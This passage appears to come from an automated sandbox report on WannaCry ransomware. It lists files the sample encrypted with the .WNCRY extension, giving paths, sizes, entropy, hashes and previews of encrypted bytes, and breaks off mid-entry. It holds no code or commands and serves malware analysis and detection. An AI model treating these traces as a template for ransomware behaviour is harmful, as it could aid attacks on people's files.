                                                                                                      Preview:WANACRY!....._xrp7=.T.Uu.pr.....j..7x...l....)...>"..e.,......_nk.......G.rl..m.[....e.S.D.C...U.b.s...._m...6.t..`....S..;.].;..h.3..ws..bI1..R.6.M"<e....;...;...%.e9dV.....@..33...I+.t.......2...>zl.|<0}..q...-....TC.M@M..I.*....?..<.Z.Z..N....U.)W....K......o.......,...i\=..%.b0@._.N..$........rR.E.j.<8n~.".V.2.f,..,..U....N.Ij+5..J.s^..E>k..O..L0..`."......N..+.b...I.R.......j.0,.~4. s3|...o...........My.e}..oS{.mH.....;6......m......s....K..kU...Dd.d..*G...R..4Kn.^N.$.....ZR.s....1...c...R.f..Y....6.i......NK.....=...k<.Z.n%6...1.V..K.q...OJ.Ur...L....\g...`M...i*.....|q+BW........O-3..H..V..FPV...\s...]...D.4{,.s.!..l.).......&...8....m...b.2.^p.sn.a.,k..Q9o..A&......'..~....[.I....|U].b.]...YCS}.sC.8f.~AD...oO.?.(.m...Y...............&.C....=_k.."FK...0..I.B.Y5...#...g.8..7UT.9..d..D..."6h.,.h./c.....=02..S........De.K.g........H?.0(8(..:.Q... GC`..;..Ja.Mq...2...$m...z..n%q....o..VCg..H...|l..?J,.-......lAh..{%....h*..+..{..]\..Ci..^

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2920
                                                                                                      Entropy (8bit):7.928941908280132
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkZ55m6HK0e5+PNjl0ukFyHD9Qt/dZdr/taHkxWZ81/qJRPBlbtlvXKpuKL:oZmHF5a/kojut/dz/f2m/qJljtN64KL
                                                                                                      MD5:9169D191CCDDFFDD0A9BBB0F4149533C
                                                                                                      SHA1:07EB55BD6A7CCCD12602B4020064DC96BA7A9102
                                                                                                      SHA-256:1170C9D29D5D6780B8DF54D0332560C8AA41DA8BD238053AD88451B47D40E4E3
                                                                                                      SHA-512:384CAB5BDE6063E98E50D42069FE6A4A09089DD7C2C252D6C8A125185B51C008C3D4A65E5B1DBE0485E2CCFC88106B2A9A27B39ABB283751DF1D46052FAFAC42
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......a.b(j!~.L.W gS.M.EQ..Z,..0.X9....0w.P..X).u.;q.[<.W?...............p./-.^...D.qm..>A.l....S.I%.&...4.d:....<..{......=.gN5.p.~.YB..H.[=.^1h..=.......v.g......Y...2$;..2....].w.....r.!.".Q...W%..g."Db.&....h.e!QA..&6y...j....L..0..z.H.E........F........QJ..Q..|g{.j.u.3...h.....Qs...j..Q6.U.)..SJ.V...F....Yi..A..Cxx..BR.-.....JX...,..AHT...{|.>....@B...e.^...?...1...Cp..8.9..v.......B|.%.........).......}.!W.q.>..y.=...8b(..Y3..;..F~.WC..3..N.L..u.my.?..E...s.._............N...w5b..Y.R0.PB.....}:..N......h.B..WKW....u[..;%8c...[G.....LM.)".^..J..:)v"...6....R....@.W....TK.......x...%k'.......iTXR^.T......^om...F....Km..8.|.f#p....<..p...=.tg...?~.16....6...#.ns..O.1....+@."..n..Z.Iu...`K...Y.l!....z..x...Z..TYW-+1[Ug.}.p..).sx.*......S.....h..qq.g@5\.H...c.....i%...C.ie..=..wz.fb.....?.....>.|.2..,..W.>.=C;~n...e.p&8........D....~...........c].dfP{.4.H..).m...?........(...Oue...a.......7I....2...H..).t.0R..d.\0O.p^,...]P.x

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1441224
                                                                                                      Entropy (8bit):7.9998732072159395
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:EF1k/pYYzYrQK/fQjqRyvN2mVVPZNWOPSD3o7S4NMt1I0io4rw+OC0kBW4k4Wlrj:6+YYQIc8N2mHPTWOPSD47S4NMtO0grBg
                                                                                                      MD5:733C5825D3A5DC37F78D9F9EE4AE6361
                                                                                                      SHA1:6B57103AC9E56C2B5500C738CEFF49D098FA9DD5
                                                                                                      SHA-256:C6B3DCCD7A9CF77093C16D62DB0E22E18AB9786770059FFE7E24B1FCE15C22F0
                                                                                                      SHA-512:BD616E9324C715B7422B7234EC73DB3E3C640FA42D243A2B486F522D01A182EACF0C8E1B6D9F1F72FA4BD526E0D1BAB342855DD4A2CDD434B510A6D1A2E9945C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....<......n..-._.......Ga98O.^P....5.|64y.w..h..&.+0Z.....>.S.w.x...V.xh...U..#."..K.*..v(m...1...n-eK.f..z9.....d..?.jp...3...6@...vl..oV../.,...f).:..I6D...B.XV.&.FR.R..df...+....B>..J.LB.h<.*....e.D..9..]........G.Y..S.$$.g.K..........*. .%...................HX..I..a...s......3.$.B'..[...!..../.......$.;.;1:.'..e.6..U.".H.......`.....A..[$K;'.-..........+..l.L.AY..g7.........-X..3Y..0ku..yN.. .....^_a.T..Y.$*V.4Oa/...d"..).... @V`.9.D.p..'..Vm?8....A.!.....\v...5...=-<'....~.....J.;..$8AT\.Scq-`6#........g.uU........F.__P$....k.8..b.(....J.._k-..+....W.......E......vd.+..6..:8...A.;.b[.r.....[...%.G.(n........V^.$..."?S.... 5.;i......W\.1..AZ.UA..A)..M.D....1...oE. ...1....P.]._..C'g.&...'.M........).`...joj.l.ULr^.o...a5).._..r.nz...D..J.@..s...{...;.c.......8.a.}.mn.dh.n[,.,.A.*@5...?......Q1U$JM....<...w.d.......u.M.3c."7......^.E..8.,....1.:..x..m.d.4...p..R_..X\D..3......&x...%...NL.....P....3...e.-,."7.L..!GH^....1.(.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2937064
                                                                                                      Entropy (8bit):7.999935161537464
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:WqKs8xAcs4I1ZC1azmzsoIZ9KgVbpfbZdGin0zneJigR7DhwBJV7+BPICTZiVkvQ:os8xAcqfb8soy9KgTfVdPn0rSRmLVaBe
                                                                                                      MD5:B89791CD4D73314D618D6206727D5F91
                                                                                                      SHA1:EB5F2601C15A3536ED6DF31E200A4D9B80729A1C
                                                                                                      SHA-256:6F443DA88DF142E586A16C7C6DA73FADF2AD6C6A196D8DB9F53268B9CEA643DD
                                                                                                      SHA-512:2CB5FDDDBB4666F9C7283FA60C7806711C7583833477B6B51AA55BFF9EBBD9FB21A68A222BBC98CB65AECB8D1CAFDED9394F4C311B02B631269BAC3D574A6BDC
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....[G....o]%....l.x.......#..p......G.@..$.}. ..{....Y...5.C .d@.v..P...H..&2.....<6...R+...Y.1..j.7UB9...7......(..?..*.[...x.....~.......]..*k"(.e.....Z...C....7...3...Y.E.r&r...NU....g.e.......*..+.%.[.1E...M^..W..=x...=O...=...E.........$..4`......,.....z.z..!....m...Z.w.FS.R.$...`#...l.<-9..j.x$...G9V........).........i.....70.0.i...DX..m...1&.3,....S.U_../N. .?6..f.G....j.2.|\..:~p.>.T7......O...9..m.[.L...x2.V.dH=..u.x.f..CBON..}.WM........\..>}..1\..J......Ip*.x..B.....3?.5...".J1YV..._...R..wd...(Oq.e..]X...t...#.t...........=r./.9.?.....I.....I...i..U...|./.o.j3.1~......."!.....JI.....0.....ZH}*R..)`..Ho....h..zz..aP_..:....S..=....&.Jq..n......mh...8?QI....(]NF....#.j.R....}.O....0.......`....W..b.f.x..X...S.]s.....I?C.#..uf..,....+me.i.SU.....a.G..L../..YIS.\.#..2.B...._..24.e\v..-.b./FX..a...Y{..8.f.N;TW].r..{8.#..$z.K.K.....~q...`...m.E.$....L..u.l...0J...q....gP..Z.O.8@..q.,....i..+m..#...}`C..w|..0.>~E...i;.P..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):190440
                                                                                                      Entropy (8bit):7.9989272307701595
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:ggfJC0310Px3xEHcug2sykGL8S5JZ4UhupyIUzpQkOKAazfX6wF2FFfAMkgbbV7b:TCq10ZBug35GIM4VpFULtfX6w6FfAMVp
                                                                                                      MD5:CAC9C00F03D3E2AFBBBA6238D5D07D56
                                                                                                      SHA1:9DC7C2D063748279F0CB0570E3DB62F19AD3F0FC
                                                                                                      SHA-256:800567610C7FAC73FE8BB27277EA2F1EAF9C80FAC01059A5FDD0CEF6813F4477
                                                                                                      SHA-512:7F5FB460200945CCA92573C9A588FBAB3F87B398DA002FEF342B80A827D769129210FEBF556618B40E3ED48E815259344B713D7B45B28EF2CF37637C86583C9D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......!d./,..D.d.....uP'..8..I.X>.Q#@I.a.|k..*8MVK...............(.F.9. .v...?2.O.6..#j....4,0 ..5..%X.m..Mf.?...Y.:.mo.."..S.El.v...O7.W..L.3i...#YS.U.`.R7i.&^...9. ..I." ]H..F...[.{...[.Q=...j..Q....wa.LW......o.yh&.7..a....5H.t:..ah..l....BI.................N./['....I.K...k..YJ.E..SM-^4(.BQni....N....;...../....f..y.Hs.l...2....R./I..m...m.B....Jm$.....A!.7.z(I.Vo"..TU..&.[7.I*zl>J..R.$.}........@.x.V..[6.K.i...Y.2..N....f.G_J.1...v.\..s.....G.|.C.j*....X..';...T..........L1.Z%.?..b<.,*.JB.W..|.`...[?..E..oAo[Q..iCZ.2.^L'....6.._.}....Z..~^._....8o.o..Xb..f.....J.;..@[w...>.t{.@......."XXS...BE[].v.V.K.-..O..,...f!^..H..Y<^...CY.....H.d.....p...Ck.P@R....h#..)`.5rg.J.0.i..2...2.C..?.q....d.....k..>.j.:o;P..".?m.!cFmi........z......U..s.`...{..xIa....z|..w....Z.kqY.."...z..L...F.t.......}....g3...[$...9..=D.n.V....d..K\Q}..<z..g.[..@c[...Dh.R..+..>'..@p..B.M.T.p{.......f..+m.%..s.....(.I...6[f.Y...cz..48s.....F<...j. .S..#1...N.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2097432
                                                                                                      Entropy (8bit):7.99991754673521
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:49152:kHrPyAXQBk4mvn/yzNLKdNBLmsR4/11q2VqeTw7mOogWSvXDuzFx:AWAwoBLh8ZVqeTi3oraT8x
                                                                                                      MD5:2A64BF8732D30E420837BBB545C918D9
                                                                                                      SHA1:AAB738F58FFB565FFCBD6CC016E615328B81CAC6
                                                                                                      SHA-256:34477511080BF670ED3DF4B15B94F00819EB182C7DB0A0B49291684773E8A04B
                                                                                                      SHA-512:13B2253D4AF3D8059D3564C0AE10779B5F034C6A43B5CAA85887EF4C92D6E60C3E850311F87EA0B54E90E332B122033C87AC4F78F2E11A2F9EBED25315B4321C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....t..9Zr..=.r..R$Y..P..u&....R...I.D...=.~.......>%h.d...Ns..~p.R......tLSj.D0<t.K....F..\......~....CV.|.....:.8[..2.n5.(@.e.F2... .......[J.....d..R..{<........o.....('..Il...[F.............T.3.2*M+.Z....h(.S...O[.RXW<Q........$.......`..0u...... .....oo>.Z(Efu.RC..a.A.v......:.ARv..BZ.`.....fN.=..0d.i.4..t.....Y...q.;...tFj.O./..........3..1........W.L.M..xQ..9..-c...r... .k....VMN...o.d.(.y}wy2..\i.p..BB..*.x..:.4...3.^.u.z...).-.AL.Z..BZ..h.r.Z..@+..S.d_...5.....*..4..'..1.n.I...phscz.dfsYd...)...I.66f...A.....LC...G..;O......;,Q,..../`......C...jEF..G2<..Nk5.c,.:n....J..... ..|..jlz'..gTs.`h......*.......P......].....q..). |.G..t.h..0....h....../5.%#.:2..C$.@.7o ...0.%.."...8/...]vJg?.W6...[....j.*..8..f_Wv/......SqO.Qf..u....j...x.$..De...C......1........L...[.C..A.W...........+...X..b..../..|^..r...8....y'w....eo....8CU...u..A...G.....`M.Ga.d.:.I..h5R..!..(...|.......8..[M..!>..._.k.. .U..@ui.]...14I.7V..^.I{

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):103448
                                                                                                      Entropy (8bit):7.998354268835454
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:CKUQzucAAyUp3zRHVdZO3wD1puGqbkCZcSe6:dUQfgg9kwjuG2re6
                                                                                                      MD5:A443CFFD09E1EB3F6FF33B8A09F09CD6
                                                                                                      SHA1:695D2B980420B04972321CCF943BED22AC016E75
                                                                                                      SHA-256:5FD100F6A047873732253FD683DEB51635EE75653B767F3AFF4F0854DDD77E1E
                                                                                                      SHA-512:08DF4EA4DF5CED5CEB726565DACE5160197D19C6EAC850544AB6C8F7F267574AA766634AC72FE11EC47904282A9911CB56A838BC72B47B66B4A32076D55684DD
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....WA..\%..O.G.....!,...4.B.@uM..T...x..z..Q..I2+,...9[...+.....o.WGo.N%6.l....Y.V!DdY.N...t.6...^J.'......D6*..]A...g...g..".^G;....4........._../JLr..z.(...C..f.jx..........Lc!p6...{...@...dT.j.H.s&......s...^/......j..3p.!..].:$o.<:..6.....q................rG....R=.vh-.9. .Y.`R..I...)um@lAD.?..{.P.D.../.......@.+.4_.t~]}%.$U.i`.....L.xaA`.@&...<.t8Ap...T/...$.x.&...8....^.....u..T>.Y...E\....@0...K.n7^..f..t>.C..R.,^...s'........<.......8....J.(6v5l..JA..@..mH..e.xjI.0.oZ..Oc.Q..._~.E.tBp..]......W...SeV$.'.9.*.w.......z.....Y..a..g#.0...B...##@U5.......0.nA..T]..-......,...R.v..u.....;..M..L9...?9...'Ofi.x.B....s..{.2c#.{.*S)i".....[.S.?....H>.s%....Sk.@|.f.Y.[.......8$J.N..Pr[.......k...s.zt.(Z.w.6g...<.>B7.i... ..X...s..n.?.....9......+.3..QH...cB.....!.c.<r..t..6..A.b..#..W$.z...r~B..Z..6,..../Hm.UD9).f.lX.z...FA1.K.r.Q.}Z.....L."..!3....XO?Vh.'2~.cT.C.s....q}......N,b..6.. ..a9m....c6.C?V.|...3W..?.8.j...-^%.}*UQ=+..-....E..6%..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):112328
                                                                                                      Entropy (8bit):7.998512633980931
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:3072:B2TAJInzaXOTBGigdUh1/WmYgm2Kw1HICzNnRHgS/UPM9XaboJ:B2kJczMmvWmYpCBIiPA6UPM9qbA
                                                                                                      MD5:674B5FA9128BE2E9C484FF306B20583C
                                                                                                      SHA1:DE72455537F2A174F99D634823F5111DEC8EB391
                                                                                                      SHA-256:0460D1D03FD7158432191E55D3157FC286128170B49D3D56423F2B471340B2E8
                                                                                                      SHA-512:7B02F03579C9248B57FDD6D6E4013723D6530969A00D156B3D3E203CC15A38D5B53527FE1FAD7CC9345C44769AB7D1E0B8E96AF1D628CB8E58246C0107DE1D8D
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....7..|.\j.Fg...jy........+...S@.g..#..%.....+.+.....c..W1.p..........Z...U..@..4....bc...!....o...O...?b..P....SW...+.F...z@LJ.v..X%..P0..`....6.V. .....&G..u.......W!....z.i..1.ygS..Ed\....i.q....n.uG........I.LA.-.OV[.x.6?.'..2P....@.^t.............\.!..K..~6...2..e..Fg..<T..34!.NT.E.w.fn...?Q...eE.N:.`..].;.?!.J.&Td<<_....k....p.*...{`.K2...3.a...kkJ..X..q.[~y4G...K.j...~k..?..:...."+..l......k..^..7{..J..<w.}Ls.6.vg.-......fU..T..F$....C....<....~.3.../...b....^.......5.d&.t......DB;..ht.E....UxVU*FoQh.....z.2....ZjN.d..}.0.7-.....Qm.b..!iX........J ...6W..,2..g=.....zN._..C..Z......... ]e.b..&h...L.b.&.I.J&mq.*."N(..H.....o.......I.'.d.3.t......`.2....8+.?...Aq.!3.F".....1i..=6..j..|V`=..%..Hsy?..*.....UcUy.3O^<.q';n......,....@....dwE^B;.q...c.\|Dh.....Zv.a.@u.).CpC......f..6..}..,"7..6.$..z@.P....'.R..1z" ..XJ.t6..V..h.B..6..%..G.....yc...Q.....S..........l.w|7..uj....fN........o.*.t.yuEN6......DR......=..N.y...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):544936
                                                                                                      Entropy (8bit):7.999658450554553
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:ymkpzGx5Vh6kQy6EhOyXlF+60Eg02eedAc+OE11evy1pQOTu0:ymAzM536kQ9gOyzUEg02LAcG71pTl
                                                                                                      MD5:1329ED96E8CCF463756E2996F352CB38
                                                                                                      SHA1:68B58B9315C4391BCBB0F0EFA96032781D3338FD
                                                                                                      SHA-256:96617821BC3CB6216E06A5AD638EE35D15DC8DBF8151814D2E2D7BA098AADD5D
                                                                                                      SHA-512:7E35178BB97B5105CEDFB3AB3436F1053D9D6D94086A70633FE623B4E59628DB8977E6AB3D13221A44372655FAA721667A2249081D0410EA237EF0DF5BA04307
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....?Hh+...]....I?8.....)..}.GXu...h..;....Q.@`..C.7.A..r....d....!...(X..~...E..M...m...H.C.S..{.......D}.&...e3.OU.g.r..e./..N(~.I..#CX......n...,.v-...q.D.)G=.Y.......!..Y5.M.._~...|.~.._.[.MR..m}A)..J*fB.N./...=_...4+S+>...I.i..3....oGH6t...(D|.....O......#.8...sYDw...<w..8....U`?.G.L.....X..K..f....q.7C.L...=..f..8+.i...v........zO.r..Q.I.7.tTF..4..YGz...r]&9]B..D.p(..r.2..1.(...?PV...;..cU...0.../..$f.".5B....)...-Fn.0...z.v(y.?PD.w...=^.l..#z..[..._.O.|.:.<$D...pD...^.P..F...m.[.(....i.MxQ.0.J..H.mJ...m.V..<..h....Q1..../.|`...1..$I....G.M/@.......O.P...L.Qv._....D..,..o0.j.O.Xo.y..P.....l0..*.......]d.T.L....x.Y...P..........q.....U.?..Z...=..s..I.8i....Tps.."..?.6|.o..e.J..3Ua..8(....h..Z@..,m...E0.:O.,aju..5..W;..k9..Y....4..:.B..KQ...........:.%..8c...Z..q.Cn8._.}.q`..Y....]rt|..c..F..=..hv..P....H..0..y...K.....4...k_.....c.....-...N`icg._.....a..rM...&I..|mP'O..&.B.W.b]...m$iG....z[...{F.r.i...y..j..._..@,[.S..F.{.S

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_window.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):261608
                                                                                                      Entropy (8bit):7.999329055887086
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:Qxn5WajUreI3UbgSJzPdqsH+iLMaBGp3uYi/KDoODt3C3/:QF5VPNJzPBvYazYiiDoUC3/
                                                                                                      MD5:01C7381DF09C273942BD097EBA7E868D
                                                                                                      SHA1:EE4BA44CDCEC21641CD065358FB5319EBD0A9397
                                                                                                      SHA-256:2E173BB1C30F18AFCA0FF6CFC1EE0E1DD88E2F6481CA6AF38DB164C48B1B4746
                                                                                                      SHA-512:3A2F19B99191914AD2F612450587B74D0CDB4C3B4382723FF751FEAB00992829F6CF710CA1E43BBC5BA520D7539FBB1DD532A15469BB8097DC31885AD8F462DE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....j]P}[.iu..k.a.....r.O...U1y..lAQ........=.=Cr$N'.!.....zuD.<..R%e...B...aa...3....{E.0.@.N. 9._......B..k..+x.IC......\...p.hD.f<sv......>\...J.9.\..YH...0.....c@t..rs)...~..%F.7......@....9....\.~RX.=..I..~....tV(h.......:YO...H.zU..^.=..x%0Lf..f.E...............}.@.`<.!'.....2/,8.EF^6$..m.....K.d..f...PS......M.q..9d.8.[I....z.c.. .... .D....$..e;..B.=.C.m.Df..x..eoly..\.K!.`.....>D&...k.-..r.J..(.x.....5.)'W.hD..i....`.C....Z;[\...n..y>.v|....Y.*n.Y..8......"...s(.Y.A.....8..[.*.9...*.......43.l....8q.....iN..*\].T...G.....<.|.AS..L..... B,.7K..)..,.}....;$./N.G7...bt.).E.3H..m..O^...M...Y.,.'.;pe...s^hh&!.'n..j..E.,.JT1&@ Mi.J.x..w.r....L}doTO..-z.....).# ..}.h.MP}fN9..7..we..p#H<..,....v..(..uU=...G.....;..@.Z1..tpk..>77.p'n.$..AZ.+.....O.).3..(.ga.j....X\E.Tm......P .9d.5...i......6...0Z|.....>].PH....X..@.Q9Y....".y........C..d(-.z.;..b.G....f..#..IA.......4.M...m..-$.*.Z...,.YJ.. ......M...mXAwy...X'?>.8..Zg].5LTf.......

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\flapper.gif.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):70648
                                                                                                      Entropy (8bit):7.997312999799458
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:vZKEQ702/w8DggOxiedjBUsSZgL4kJQreSXXMC3YVxZoVuY:QEeNw8DJOxcsZ4YQjX8C3YTs
                                                                                                      MD5:561C9338E5540FBA1E14137C23721536
                                                                                                      SHA1:63D1C8918BCADF3E4D7484B8C7CCFC7FACDC8A07
                                                                                                      SHA-256:FEE595C75CBAE11DC6264AE625A6A8048B66E6BB3BF11BD29F57796E93ED3405
                                                                                                      SHA-512:43B59C26FC15C191D5BEE36FB3FE43F07F690D8BB7B60F5BEC180AC15740A9E033D5302E5A4377185EA832DC8C6DD7B9F5DAC55C6ACEA8630AF59C415FB48D31
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....../..p5..nH.P.:.k...=.o_.5.P......v.cxat... ...,.=..|rD-.z@.....wO.2.Q.G....\......D..........}.*&..j.{.....G....Q.X{..J...`...sh..._#.f...F..O...4.z.l........u....@b3..N..D......XO.p..4S.pv....(..3)3S......GP...d..e.b.E.......T8|.k....C...k5..[.8.............L.........uS.A.e(.?q.m...[.C.fk.|.e..#.(...E...1.&._.Y.^.#F.r-.(...%..u..].......sX..Y..h....U|..w%F..4&.b...1.u.#I.zq..]v........r.!.W6.`....C.9.....a3WTT.....f.1..Ha+...,px..O...E....:g.?.O..i....+.K......g...|[wJ.q....+ULx..S.E.#...<.-o..l.....]~...O..aW..*3......[......RQ..*.{...l..kxx=C.L\(l.[.3.....>KeQ'2....!..J..uR.5{..F!U.....<0._<........,[...uz.?..i@.*.5.S....E.uT~2....<Rt...S.%J.1...y.\l...4.{..".....R..O.ed..L.n.R.@.....!..u.vRwp..i..;@.z...GJN.{...6...W...G.*^.L..&...Od.c.n.h...\.#+.l.V.*+.9..fv....L..@0..@{.qd.]...7.8.9..SkH._>..k..r....}g..ci....-....].e.P.....|?..$...3...^.e....;]....,.B..".7'.d.E.wX......._4.*c..U...;A..x.+.H.3.=.`.*.*`.=...Z."m#.UB!

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\icon_128.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):4648
                                                                                                      Entropy (8bit):7.9570691880300455
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:oJfiikQ0oZkPFQPCzClkWniTFY716PI2WSzt9NmpwNcmE2m:Mfi7Qh4FQWCGWnP1WASz6kPm
                                                                                                      MD5:A323C85EBC05E88B6B28D37B68727FC2
                                                                                                      SHA1:A1B8D45C148A01227DFFBFC5AE1A30534E1EB6A7
                                                                                                      SHA-256:9B9C4142F352A13A652753951359B61315AA0E3F0C915DE44979BA29214AA50B
                                                                                                      SHA-512:F7C8BA2F01F4920908D8FB98628525F9FFB27B5589562531325C62493B6EFAC549B47E3F3DC217D58A97B7A55C267C71CD41381DD535F6A8FE14CAABC3CD80ED
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....9(^.^..t.....<...<....z...].|LC....r._:32.z..Cjr.......-.YX!..v..Ks(<Ake$<.([J.....-.n..<.L!.q.5v.@>..c...|X.u........n..7...y..k.I.....s.?..{:nG.o8,vCCh|.z.....HfQ....~.tC.hK+Fw.U.....:..l.vc.+Y...g...&m...K}>....[.%\C.Q..Y?dE.m.oT...e.h.x..................Y.....Ry..(...wt.Z..(.Wd/..D~.ek.@Z.8b@....9.....w'..I.+...Q..H.j.....P..l...!........7..e.-...%..y.....x...|-..&hN.p.r.....0..&H.Q..........N._.)G..\O..w..g..u...c..A.{.h.yuI..Rv..^6 ...<..n...z..b.sK.. ...c(...&..ii...sG..s~Am\Q5(..q5.M$ok@.q.S..W....e-.,mu..9C.!3.P-..Z..flX...}.D..f....*.....c........J.......,.!/.\T.N..f...&.L....)B%.....uq..R.L.k..."..K....A....x....._B.{7L....8X...Nv...C..`...e...8.......Qs.OW.P.....[,%.t.C...(..4....*.mm...ny-.IM.L&..z.OT#l;.0Z...l..".....9..........E.+.(.GC...w0$.11.h[.;u..zr..*.....e......y.1V....^....s.,[g..'`.=R....}.M..a...<.t+.R..............n..V..tm~.y.v.`..#)q....k.U[vj).Z..m..VO.<..E..pBZ."1.....w.g-......V..N.y.O..Ap..z.+

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):5272
                                                                                                      Entropy (8bit):7.9633105600824186
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:96:ojMVTuLtL6ZR34HJASvEwND0Rs2JaL8T1oGqE2D6zUZ5s4k8OHk5QC02YE:T2teZRoHJASy8cC/PgDfEqMYE
                                                                                                      MD5:9C147233C0395D7B17681F4B4FDA1D90
                                                                                                      SHA1:030592AA1216179F060C874D212BA08F51644729
                                                                                                      SHA-256:24A8675EFA9F678DFC7782C5C16859ECEA99A3267E8EBA556A3971EF9A71430C
